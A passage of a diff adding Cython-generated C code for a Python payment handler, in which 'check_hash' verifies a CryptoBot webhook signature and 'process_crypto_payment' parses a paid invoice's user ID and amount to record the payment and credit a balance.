*__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("check_hash", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 157, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_request = __pyx_v_request; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3, __pyx_codeobj__22, (PyObject *) __pyx_cur_scope, __pyx_n_s_check_hash, __pyx_n_s_check_hash, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.check_hash", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("check_hash", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 157, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":158 + * + * async def check_hash(request): + * body_text = await request.text() # <<<<<<<<<<<<<< + * crypto_pay_signature = request.headers.get( + * "Crypto-Pay-Api-Signature", "No value" + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 158, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_body_text = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":159 + * async def check_hash(request): + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( # <<<<<<<<<<<<<< + * "Crypto-Pay-Api-Signature", "No value" + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_headers); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__23, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_crypto_pay_signature = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":162 + * "Crypto-Pay-Api-Signature", "No value" + * ) + * return crypto.check_signature( # <<<<<<<<<<<<<< + * body_text=body_text, crypto_pay_signature=crypto_pay_signature + * ) + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_check_signature); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":163 + * ) + * return crypto.check_signature( + * body_text=body_text, crypto_pay_signature=crypto_pay_signature # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 163, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_body_text, __pyx_cur_scope->__pyx_v_body_text) < 0) __PYX_ERR(0, 163, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_crypto_pay_signature, __pyx_cur_scope->__pyx_v_crypto_pay_signature) < 0) __PYX_ERR(0, 163, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":162 + * "Crypto-Pay-Api-Signature", "No value" + * ) + * return crypto.check_signature( # <<<<<<<<<<<<<< + * body_text=body_text, crypto_pay_signature=crypto_pay_signature + * ) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":157 + * + * + * async def check_hash(request): # <<<<<<<<<<<<<< + * body_text = await request.text() + * crypto_pay_signature = request.headers.get( + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_AddTraceback("check_hash", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":167 + * + * + * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< + * if payload["status"] == "paid": + * custom_payload = payload["payload"] + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_13process_crypto_payment(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_13process_crypto_payment = {"process_crypto_payment", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_13process_crypto_payment, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_13process_crypto_payment(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_payload = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_crypto_payment (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_payload,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_payload)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 167, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_crypto_payment") < 0)) __PYX_ERR(0, 167, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_payload = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_crypto_payment", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 167, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_crypto_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_12process_crypto_payment(__pyx_self, __pyx_v_payload); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_12process_crypto_payment(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_payload) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_crypto_payment", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 167, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_payload = __pyx_v_payload; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_payload); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_payload); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4, __pyx_codeobj__24, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_crypto_payment, __pyx_n_s_process_crypto_payment, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_crypto_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + int __pyx_t_2; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + PyObject *(*__pyx_t_7)(PyObject *); + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + Py_ssize_t __pyx_t_12; + Py_UCS4 __pyx_t_13; + int __pyx_t_14; + PyObject *__pyx_t_15 = NULL; + PyObject *__pyx_t_16 = NULL; + int __pyx_t_17; + char const *__pyx_t_18; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_crypto_payment", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L13_resume_from_await; + case 2: goto __pyx_L14_resume_from_await; + case 3: goto __pyx_L15_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 167, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":168 + * + * async def process_crypto_payment(payload): + * if payload["status"] == "paid": # <<<<<<<<<<<<<< + * custom_payload = payload["payload"] + * user_id_str, amount_str = custom_payload.split(":") + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payload, __pyx_n_u_status); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 168, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_paid, Py_EQ)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 168, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/cryprobot_pay.py":169 + * async def process_crypto_payment(payload): + * if payload["status"] == "paid": + * custom_payload = payload["payload"] # <<<<<<<<<<<<<< + * user_id_str, amount_str = custom_payload.split(":") + * try: + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payload, __pyx_n_u_payload); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 169, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_custom_payload = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":170 + * if payload["status"] == "paid": + * custom_payload = payload["payload"] + * user_id_str, amount_str = custom_payload.split(":") # <<<<<<<<<<<<<< + * try: + * user_id = int(user_id_str) + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_custom_payload, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_kp_u__12}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + if ((likely(PyTuple_CheckExact(__pyx_t_1))) || (PyList_CheckExact(__pyx_t_1))) { + PyObject* sequence = __pyx_t_1; + Py_ssize_t size = __Pyx_PySequence_SIZE(sequence); + if (unlikely(size != 2)) { + if (size > 2) __Pyx_RaiseTooManyValuesError(2); + else if (size >= 0) __Pyx_RaiseNeedMoreValuesError(size); + __PYX_ERR(0, 170, __pyx_L1_error) + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + if (likely(PyTuple_CheckExact(sequence))) { + __pyx_t_3 = PyTuple_GET_ITEM(sequence, 0); + __pyx_t_4 = PyTuple_GET_ITEM(sequence, 1); + } else { + __pyx_t_3 = PyList_GET_ITEM(sequence, 0); + __pyx_t_4 = PyList_GET_ITEM(sequence, 1); + } + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(__pyx_t_4); + #else + __pyx_t_3 = PySequence_ITEM(sequence, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = PySequence_ITEM(sequence, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + #endif + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } else { + Py_ssize_t index = -1; + __pyx_t_6 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_7 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_6); + index = 0; __pyx_t_3 = __pyx_t_7(__pyx_t_6); if (unlikely(!__pyx_t_3)) goto __pyx_L5_unpacking_failed; + __Pyx_GOTREF(__pyx_t_3); + index = 1; __pyx_t_4 = __pyx_t_7(__pyx_t_6); if (unlikely(!__pyx_t_4)) goto __pyx_L5_unpacking_failed; + __Pyx_GOTREF(__pyx_t_4); + if (__Pyx_IternextUnpackEndCheck(__pyx_t_7(__pyx_t_6), 2) < 0) __PYX_ERR(0, 170, __pyx_L1_error) + __pyx_t_7 = NULL; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + goto __pyx_L6_unpacking_done; + __pyx_L5_unpacking_failed:; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_7 = NULL; + if (__Pyx_IterFinish() == 0) __Pyx_RaiseNeedMoreValuesError(index); + __PYX_ERR(0, 170, __pyx_L1_error) + __pyx_L6_unpacking_done:; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_user_id_str = __pyx_t_3; + __pyx_t_3 = 0; + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/cryprobot_pay.py":171 + * custom_payload = payload["payload"] + * user_id_str, amount_str = custom_payload.split(":") + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = int(amount_str) + */ + { + __Pyx_ExceptionSave(&__pyx_t_8, &__pyx_t_9, &__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_10); + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":172 + * user_id_str, amount_str = custom_payload.split(":") + * try: + * user_id = int(user_id_str) # <<<<<<<<<<<<<< + * amount = int(amount_str) + * await add_payment(int(user_id), float(amount), "cryptobot") + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 172, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_user_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":173 + * try: + * user_id = int(user_id_str) + * amount = int(amount_str) # <<<<<<<<<<<<<< + * await add_payment(int(user_id), float(amount), "cryptobot") + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 173, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":174 + * user_id = int(user_id_str) + * amount = int(amount_str) + * await add_payment(int(user_id), float(amount), "cryptobot") # <<<<<<<<<<<<<< + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await update_balance(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 174, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 174, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyNumber_Float(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 174, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_11, __pyx_t_3, __pyx_t_6, __pyx_n_u_cryptobot}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 3+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 174, __pyx_L7_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L13_resume_from_await:; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_10); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 174, __pyx_L7_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if 